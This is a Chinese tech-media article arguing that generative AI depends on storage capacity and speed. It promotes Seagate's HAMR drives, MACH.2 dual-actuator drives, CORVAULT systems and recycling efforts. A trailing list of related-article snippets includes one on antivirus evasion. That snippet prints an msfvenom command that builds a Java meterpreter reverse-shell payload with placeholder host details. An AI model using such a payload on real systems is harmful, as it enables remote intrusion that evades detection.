实现AIGC更好的数据存力,这家科技巨头为我们指明了方向
存力即数据存储能力
蕴藏着巨大的发展机会
【全球存储观察 | 热点关注】
2023年,全球被ChatGPT的热潮席卷,拥抱AIGC的创新赛道成为众多企业的新选择。
全球存储观察分析指出,影响AIGC发展的三大因素也日益凸显,即算力、存力与运力,算力即计算能力;存力即数据存储能力;运力即网络运载能力。而其中令业界越来越重视的存力,蕴藏着巨大的发展机会。
事实上,随着AI行业应用落地不断加速,也加快了新数据的暴涨。来自全球专业分析机构IDC统计分析指出,到2027年,全球数据圈将达到291ZB。更大规模的数据存储潜力值得挖掘,这也预示着在数字经济的下一步发展中,重视数据存力的行业企业才更有可能在新赛道中胜出。
拥抱AIGC,实现更好的数据存力,作为全球领先的数据存储解决方案提供商,希捷科技为我们指明了未来发展的方向。
对于这样一家专业而发展历史悠久的存储厂商,带给业界的观察与建议,还是十分值得关注的。毕竟在数据存储行业中,希捷科技有着40多年的发展历史,全球存储交付量超4ZB,数据早已成其为发展的DNA。
大容量与高性能,
对AIGC存力重要性不分伯仲
2023年9月13日,在2023开放数据中心(ODCC)大会间隙,希捷科技中国区产品线管理总监刘嘉接受媒体采访时强调指出,大容量与高性能已经逐渐成为AIGC存力需求的两大发展趋势。
- 希捷科技中国区产品线管理总监 刘嘉
那么,希捷科技到底如何看待AIGC下的数据存储的大容量与高性能发展趋势呢?
一方面,大容量存储需求将会迅速增长。大容量存储源自数据海量产生,在AI场景下产生的数据相比以前正在发生很大的改变。回顾一下AI发展历程,我们不难发现,无论是机器学习,还是深度学习,或者是强化学习,以及当前火热的AIGC(生成式AI),驱动这些AI技术出现前所未有发展的原动力离不开数据。为此,在AI技术实现突破之时,往往离不开数据采集、数据存储、数据分析等一系列的数据驱动,这也是AI的发展基础。
在ChatGPT被业界热议之时,大家的目光聚焦在了数万颗GPU芯片上,固然ChatGPT能成为当今火遍全球的顶流大模型,自然少不了其背后的超强AI算力,然而,在大规模数据进行训练的过程中,更少不了与之匹配的分布式超强存储。业界盛传,ChatGPT算法模型包括了1750亿参数,其预训练的数据量达45TB,未来模型参数和数据量也将随着ChatGPT迭代不断倍增。模型训练质量越高,对数据集要求越大,需要的文件数量就越大,满足亿级文件数量的存储需求是常态。
当前AI产生的数据更多集中在文本、语音、图像等方面,随着大模型的技术升级,未来在视频方面也会产生大量的AI数据。随着数据训练的强化与推进,以及大模型走向行业普及化,大模型用户的数据和语言数据积累的规模也将越来越大,这对存储容量需求也将越来越大。为此,AI的技术创新,必然会持续推动大规模硬盘需求的增长。可以预见,未来AIGC存力的需求不亚于当前对于GPU的AI算力需求。
另一方面,高性能存储也是刚需。当业界都聚焦在AIGC发展之路上,自然对于大模型训练效果也有着更快更好的要求,高性能存储可以支持高性能计算平台的训练负载,作为数据存储基石,硬盘部件也同样需要实现更高性能。这是关系AIGC应用的一整个数据链条的高效整合。
在实际AIGC应用中,往往对存储性能要求更高。比如自动地生成图片、视频,修改图片、视频,其过程需要高性能存储来支持,实现用户更高效的AIGC应用体验。只要是尝试过ChatGPT、GPT4的业界朋友,都知道它能顺畅秒级完成文本问答,对其处理数据的速度还是满意的,其背后自然也需要大容量的存储来支撑其数亿参数和中间结果。
很显然,存力业已成为了AIGC发展的基石。通过大规模数据进行训练就必须有大容量存储来支撑,而要获得更高效的训练结果和更佳的应用体验,就必须要有高性能存储来实现。大容量与高性能,对AIGC存力的重要性不分伯仲。
方向找对了,
更需突破性存储技术去实现
实现AIGC更好的数据存力,找对了方向确实非常重要,更重要的是需要突破性存储技术去应对挑战,才能实现更好的数据存储理想,实现我们需要的数据价值。
不过,影响硬盘容量的两个关键变量在于:要不选择增加更多的碟片,或者选择提高磁记录的密度。只是采取在增加更多的碟片的技术道路上寻求发展,同时会增加原材料、零部件、工具和人工等BOM标准成本,碟片更多也会顺带增加功耗。
对于热辅助磁记录( HAMR )技术并不陌生的业内人士或许都清楚,提升磁密度对于存储硬盘容量升级意义重大。为此,希捷科技一直以来寻求在HAMR技术上实现不断的突破。这不仅对于提升容量更加有效,而且使得硬盘设计更好优化。
HAMR就是在磁盘上采用一种新型的介质磁技术,在保持磁稳定和热稳定情况下,让数据位变得比过去更小且密度更高。为了写入新数据,连接到每个记录磁头的小型激光二极管会瞬间加热磁盘上的一个小点,从而使记录磁头每次翻转单个位的磁极性,进而达到写入数据的目的。据希捷科技的官方资料显示,每个位会在一纳秒内完成加热并冷却,因此HAMR激光器对硬盘温度或整个介质的温度、稳定性或可靠性完全没有影响。
目前, 30+TB容量的HAMR硬盘在2023年已经开始出货,并且正在计划2026年实现50TB的HAMR硬盘亮相。
从希捷科技大容量硬盘的路线图可以不难看出,HAMR技术带来发展后劲还是很足,提升磁密度对于推动硬盘产品的发展和增长,其意义十分重大。对于用户来说,磁记录密度的提升对于存储TCO和可持续性的影响也必然深远,其中的技术关键在于增加硬盘容量的同时,而碟片数不需要增加。
在这之前,全球存储观察阿明也曾撰文分析指出,从2001年开始,希捷就开始了在HAMR技术上的研究。最终发现:HAMR技术可以让存储密度提升到5Tbit/in²甚至更高的水平,HDD硬盘容量会有5到10倍的增长空间,未来制造出100TB硬盘成为可能。
先进存储技术联盟 (ASTC) 分析指出,以增加磁密度的HAMR技术,将成为下一个重要的存储技术创新。其言外之意,下一个十年HDD大容量硬盘的市场增长或许得靠它了。
在大容量存储技术突破上有HAMR技术作为后盾,在存储高性能方面,希捷科技也有着MACH.2的优异表现。全球存储观察分析认为,为AIGC数据密集型应用提供两倍硬盘性能,这一点就值得关注。可以在不牺牲容量的情况下维持服务水平,也难怪MACH.2一经推出就走红业界了。
希捷科技在MACH.2技术上带来的突破性创新,属于全球首款多传动器硬盘技术,打破了业界硬盘吞吐记录。MACH.2通过实现数据流并行进出单个硬盘,解决了性能提升需求。通过使数据中心主机能够同时并行请求和接收来自硬盘两个区域的数据,MACH.2 将每个独立硬盘的IOPS性能提高了一倍,抵消了通常会因为容量提高而引起的数据可用性下降的问题。
全球存储观察分析认为,长期以来,希捷科技一直是引领全球硬盘技术未来的领导者之一,在应对AIGC全新存力的挑战下,不仅专注于磁密度技术创新,以支持不断增长的大容量数据存储需求。而且在存储性能创新的突破性先进技术方面,通过MACH.2多磁臂技术不断改善IOPS性能表现,降低延迟,并通过氦气和其他更多技术创新举措来满足AIGC应用的TCO要求。
谈到这里,或许有朋友会说,HDD大容量硬盘的性能再好,怎么可以和SSD的IOPS性能比拟呢,AIGC应用落地选择SSD不是更好么?单分析IOPS性能,HDD大容量硬盘确实没法和SSD比,但是在考虑价格与数据留存时间的综合因素时,情况就不一样了。
据刘嘉介绍,磁介质与闪存就两种介质每TB的价格对比来看,依然还在1:6到1:10的区间波动,即使SSD容量也在增加,但HDD突破性技术不断将硬盘成本往下拉。如果用户要考虑成本的问题,那么选择HDD大容量硬盘必然会不断增加。
对于AIGC应用过程中的数据留存时间,应该是众多走上该赛道上的企业必须要重视的事情。在考虑数据存储可靠性的同时,选择数据留存时间更长的HDD大容量硬盘也是常理了。况且在数据备份与恢复方面,基于HDD大容量硬盘的存储系统更为成熟。
当然,对于大模型训练的实时热数据采用SSD来存储,可以获得更高IOPS性能和低时延支持,但要考虑到数据留存时间与安全性,对于大量的近实时和归档的温冷数据采用HDD大容量硬盘来存储,可以获得更好数据留存时间与安全性,以及TCO表现。
可见,HDD与SSD对于AIGC发展也是相辅相成的,在企业级SSD方面,希捷科技也拥有业界强大的企业级产品阵营希捷雷霆(Nytro)系列,适合SDS、高性能计算、高密度数据中心,以及当前AIGC应用场景。
除此之外,应对当今的存储挑战,希捷科技之前还推出了Exos CORVAULT智能存储系统。被业界誉为裸容量超过2PB的智能“超级硬盘”,以更低的成本,存储更多的数据。在Exos CORVAULT系统中还采用了希捷科技创新的ADAPT纠删码和自我修复ADR存储技术,不仅提高了数据中心系统的耐用性,也对其可持续性带来了极大的帮助。
面对AIGC应用带来海量数据存储挑战,既需要大容量与高性能的磁盘,也需要与这些磁盘协同设计的智能存储系统。为此,从芯片到硬盘部件到存储系统,希捷科技通过软件与硬件的持续创新技术,为满足用户的数据存储需求不断推陈出新。
踏上AIGC未来之路,
还需持续践行绿色存储理念
随着踏上AIGC未来之路的企业越来越多,持续践行绿色存储的理念需要倍加重视。
随着数据圈的扩大,数据量的爆发式增长,大家对于硬盘等存储介质的生产和消耗十分惊人。
为此,希捷科技早已宣布了自身的“碳中和”计划:到2030年,在全球范围内使用100%可再生能源,2040年实现碳中和。一方面,在工厂生产、技术研发领域,希捷科技以100%使用可再生能源作为战略目标。
另一方面,在突破性技术创新领域,希捷科技凭借双磁臂技术、HAMR技术、氦气硬盘等,赋能数据中心的绿色、可持续发展。同时,也为业界带来了自动修复、硬盘重生与硬盘回收的绿色技术。ADR(自动容量重生)技术可以主动发现硬盘磁头故障并进行自动化修复,减少电子垃圾。希捷已经携手国内外众多生态伙伴,通过对产品整体以及相关部件的回收和循环利用,创建可持续发展的存储产业。2022财年希捷科技通过翻新计划延长了一百多万块机械硬盘和固态硬盘的使用寿命。将这些硬盘通过翻新和重新部署实现回收,避免了540多公吨的电子垃圾进入填埋场。
由此可见,在AIGC的创新赛道上,数据存力不仅要强大,具备更优的TCO表现,而且还需要持续践行绿色存储理念。在希捷科技等科技巨头的带动下,我们有理由相信,一个面向AIGC全新的绿色存储生态圈正在形成,并进一步得以完善中。在存力永续发展的基础上,让AI为百行百业创造出更多的价值。(by Aming)
- END-
你
怎
么
看
?
欢迎文末评论补充!
【全球存储观察 |全球云观察 |阿明观察 |科技明说】专注科技公司分析,用数据说话,带你看懂科技。本文和作者回复仅代表个人观点,不构成任何投资建议。
相关文章:
实现AIGC更好的数据存力,这家科技巨头为我们指明了方向
存力即数据存储能力 蕴藏着巨大的发展机会 【全球存储观察 | 热点关注】 2023年,全球被ChatGPT的热潮席卷,拥抱AIGC的创新赛道成为众多企业的新选择。 全球存储观察分析指出,影响AIGC发展的三大因素也日益凸显,即算…...
企业如何在抖音上搞到TOB潜在精准客户流量?
我们都知道,现在互联网上流量都被集中了几个大的平台里。而抖音,一定是绕不开那个!图片在公众号:白杨SEO上去看。 抖音,在很多人的传统印象里,还只是一个娱乐短视频APP,用来打发时间而已。事实…...
JeecgBoot v3.5.5 版本发布,性能大升级版本—开源免费的低代码开发平台
项目介绍 JeecgBoot是一款企业级的低代码平台!前后端分离架构 SpringBoot2.x,SpringCloud,Ant Design&Vue3,Mybatis-plus,Shiro,JWT 支持微服务。强大的代码生成器让前后端代码一键生成! JeecgBoot引领…...
与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E
https://www.luogu.com.cn/problem/CF444E 首先肯定二分 然后是棵树,所以考虑按顺序枚举边权 然后肯定会有连通块和并查集 考虑现在场上有多个连通块,我们只保留大于 m i d mid mid 的边 则每个连通块都必须往外连边 一个很朴素的思路是判定每个连…...
解决VSCode下载速度很慢
这是VSCode的官网: Visual Studio Code - Code Editing. Redefined 按照官网的下载链接,速度实在是感人! 解决办法也很简单,把链接换为CDN加速的链接 把下载链接中的az764295.vo.msecnd.net 替换为👉 vscode.cdn.azu…...
悬赏算命测算源码可以用二维码收款 可以直接拿来运营
首发悬赏算命测算源码可以用二维码收款 可以直接拿来运营吸金!用户可以通过发布悬赏赏金算命,也可以通过升级发布测算任务来吸金 测试环境:php5.6apache2.4mysq5.6 安装教程: 测试环境:php5.6apache2.4mysq5.6 安装&…...
在Linux中安装nginx-1.20.1+php-7.4.28(增加扩展)
NginxPHP安装在公网IP为x.x.x.x的服务器上 需要下载安装的软件版本:nginx-1.20.1php-7.4.28 需要增加的PHP扩展如下: 在编译安装php-7.4.28时加上的pcntl; 单独下载安装的Wxwork_finance_sdk;(在编译安装php-7.4.2…...
使用vue-cli搭建SPA项目
一.SPA项目的构建 前提 nodeJS环境已经搭建完毕 node -v npm -v 什么是SPA项目 SPA(Single Page Application)项目是一种使用单页面架构的Web应用项目。在SPA项目中,整个应用程序只有一个HTML页面,通过动态加载数据和更新DOM来实…...
PLC串口通讯和通讯接口知识汇总
在使用PLC的时候会接触到很多的通讯协议以及通讯接口,最基本的PLC串口通讯和基本的通讯接口你都了解吗? 一、什么是串口通讯? 串口是一种接口标准,是计算机上一种非常通用设备通信的协议。它规定了接口的电气标准,没…...
Vue基础入门---详细简介
一,对Vue的概念 1.1 什么是Vue ? 一种流行的JavaScript前端框架,用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制,使得数据的变化能够自动更新相关的DOM元素&#x…...
Qt重写QTreeWidget实现拖拽
介绍 此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新&a…...
【Spring Boot】拦截器学习笔记
一、普通拦截器 1,新建类MyWebConfig实现WebMvcConfigurer,实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...
云可观测性:提升云环境中应用程序可靠性
随着云计算的兴起和广泛应用,越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中,确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案,针对这一需求提供了有效的方法和工具。本文将介绍…...
免杀对抗-java语言-shellcode免杀-源码修改+打包exe
JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令࿱…...
抖音、知乎、小红书的流量算法
目前我国网民规模已超过10亿,在这互联网时代,更是流量为王。各个平台里的每个视频、每张图片,背后都有着算法的身影,支配着所有人的流量。作为内容创作者及运营者来说,除了制作高质量的内容以外,也需要掌握…...
c++ 纯虚函数、抽象类
一、 纯虚函数 抽象类 只要有一个纯虚函数,这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类,必须要重写父类中的纯虚函数,否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...
echarts另外存为图片
今天同事画了个Echarts,我看了下居然有下载功能!!!!(之前一直不知道) 这是原图,右上角有个下载功能, 下载后是这样的 貌似是没有了y轴的参数和x轴的参数,估计是可以配置的…...
Mybatis返回自动递增主键值,通过实体
如果你在数据库中使用了自动递增的主键(通常是整数类型),你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例: 首先,在你的 SQL 映射文件中,使用 <insert> 元素来执行插入操作…...
如何在 Excel 中求平方根
需要在 Excel 中求一个数字的平方根吗?使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中,您将学习在 Excel 中计算平方根的 5 种不同方法,包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...
苹果手机无法正常使用小程序和APP
小程序、APP 已使用了几年,突然大量反馈:苹果手机无法正常使用。但不是全部,只是部分手机。 因为同事苹果手机都能用,所以无法准确判断具体原因。 后来同事苹果手机也无法使用了,显示: 网上搜索结果&…...
【Axure教程】用中继器制作双坐标柱状折线图
双坐标柱状折线图常用于同时展示两组数据的图表类型,每组数据都有自己的纵坐标轴(Y轴)。一组数据通常用柱状图表示,而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家ÿ…...
C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)
C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数,而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...
mysql 主从复制 mysql版本5.7.35
文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤:主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制(Master-Slave Replication)是一个常用的高可用性和可扩展性解决方案。通过主从复…...
iOS“超级签名”绕过App Store作弊解决方案
一直以来,iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下,游戏作为一个整体,无论哪一端出现安全问题,都会造成更加严重的影响。因此,iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...
I2C子系统、读取温湿度的逻辑及代码
一、IIC子系统 两根线: scl:时钟线 sda:数据线 iic有4种信号: 起始信号(start):scl是高电平,sda下降沿 终止信号(stop):scl高电平,sda上升沿 应答信号…...
数据结构——排序
排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示:shell_insert.hshell_insert.ctest.c 总结 前言 来…...
资深java面试题及答案整理
编写 Java 程序时, 如何在 Java 中创建死锁并修复它? 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码,你可能会失败。 如何避免 Java 线程死锁? 如何避免 Java 中的死锁?是 Java 面试的热门问题之…...
buuctf-[网鼎杯 2020 朱雀组]phpweb
1.打开网站,吓我一跳 2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次 一开始去搜了这个,但是没什么用 3.使用bp抓包 会发现有两个参数,应该是用func来执行p 4.修改func和p file_get_contents&#…...
SpringBoot实战(二十四)集成 LoadBalancer
目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一:Eureka LoadBalancer服务A:loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...
文件挂载nas挂载
准备资源 nas服务器: 192.168.1.2 分配的nas卷名: mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...
电商设计公司排名/站长工具seo综合查询论坛
今天要来分享一款很经典的HTML5游戏——堆木头游戏,这款游戏的玩法是将木头堆积起来,多出的部分将被切除,直到下一根木头无法堆放为止。这款HTML5游戏的难点在于待堆放的木头是移动的,因此需要你很好的控制木头下落的位置。 在线预…...
开服网站建设/厦门seo计费
题目: 给定 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai) 。在坐标内画 n 条垂直线,垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0)。找出其中的两条线,使得它们与 x 轴共同构成…...
网站建设书籍附光盘/国际新闻网
hbase的部署相对于java来说就比较简单啦,主要过程如下:1.下载hbase最新的稳定版2.拷贝到相应的目录3.修改conf目录下的hbase-env.sh,设置java 和不适用内置的zookeeperexport JAVA_HOME/usr/java/jdk1.7.0_21/ export HBASE_MANAGES_ZKfalse4.修改hbase-…...
嘉兴网站优化/媒体公关
自动播放开关 自动播放 重磅!华为刚刚在总部发布声明:决定起诉美国政府 违反宪法 正在加载... < > 划重点:华为轮值董事长郭平表示:“美国国会通过立法惩罚华为,且从未展示支持这些限制条款的证据,因…...
日照建站外包/龙岗百度快速排名
用了FineUI有一段时间了,还是分享下我咋改的吧,没想的那么难,我也是从小白来的。 基础是要懂JQ和EXTJS,主要是要懂JQ和EXTJS能干啥,这里有两个网站http://www.w3school.com.cn/jquery/traversing_find.asphttp://extjs…...
wordpress技术论坛/微信上如何投放广告
DotProduct 指的是两个向量之间的点积。它是两个向量在同一方向上的投影乘积。点积的结果是一个标量。 如果两个向量的点积为正,则说明它们的夹角小于90度;如果为负,则说明它们的夹角大于90度;如果为0,则说明它们垂直。…...